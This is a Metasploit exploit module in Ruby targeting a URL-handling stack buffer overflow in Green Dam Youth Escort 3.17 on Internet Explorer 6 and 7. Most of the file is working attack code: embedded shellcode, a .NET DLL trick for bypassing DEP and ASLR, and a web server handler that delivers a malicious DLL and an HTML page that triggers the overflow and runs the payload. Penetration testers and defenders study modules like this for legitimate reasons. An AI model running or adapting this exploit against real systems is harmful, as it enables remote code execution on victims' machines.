##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# greendam_url.rb
#
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
#
# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
#  - Internet Explorer 6, Windows XP SP2
#  - Internet Explorer 7, Windows XP SP3
#  - Internet Explorer 7, Windows Vista SP1
#
# .NET binary is used to bypass DEP and ASLR
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Green Dam URL Processing Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Green Dam Youth Escort
        version 3.17 in the way it handles overly long URLs.
        By setting an overly long URL, an attacker can overrun a buffer and execute
        arbitrary code. This module uses the .NET DLL memory technique by Alexander
        Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'References'     =>
        [
          ['OSVDB', '55126'],
          ['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],		# Analysis of the Green Dam Censorware System
          ['EDB', '8938'],		# Original exploit by seer[N.N.U]
          ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],	# .NET DLL memory technique
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'Compat'   =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,

          # Temporary stub virtualalloc() + memcpy() payload to RWX page
          'PrependEncoder' =>
            "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
            "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
            "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
            "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
            "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
            "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
            "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
            "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
            "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
            "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
        ],
      'DisclosureDate' => 'Jun 11 2009',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)

    ibase = 0x24240000
    vaddr = ibase + 0x2065

    if (request.uri.match(/\.dll$/i))

      print_status("Sending .NET DLL")

      return if ((p = regenerate_payload(cli)) == nil)

      # First entry points to the table of pointers
      vtable  = [ vaddr + 4 ].pack("V")
      cbase   = ibase + 0x2065 + (256 * 4)

      # Build a function table
      255.times { vtable << [cbase].pack("V") }

      # Append the shellcode
      vtable << p.encoded
      send_response(
        cli,
        Msf::Util::EXE.to_dotnetmem(ibase, vtable),
        {
          'Content-Type' => 'application/x-msdownload',
          'Connection'   => 'close',
          'Pragma'       => 'no-cache'
        }
      )
      return
    end

    print_status("Sending #{self.name} HTML")

    j_function	= rand_text_alpha(rand(100)+1)
    j_url		= rand_text_alpha(rand(100)+1)
    j_counter	= rand_text_alpha(rand(30)+2)

    if ("/" == get_resource[-1,1])
      dll_uri = get_resource[0, get_resource.length - 1]
    else
      dll_uri = get_resource
    end
    dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"

    html = %Q|<html>
<head>
<script language="javascript">
  function #{j_function}() {
    var #{j_url}='';
    for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
      #{j_url}+='$';

    window.location=#{j_url}+'.html';
  }
</script>
</head>
<body onload="#{j_function}()">
  <object classid="#{dll_uri}#GenericControl">
  <object>
</body>
</html>
    |

    # Transmit the compressed response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end
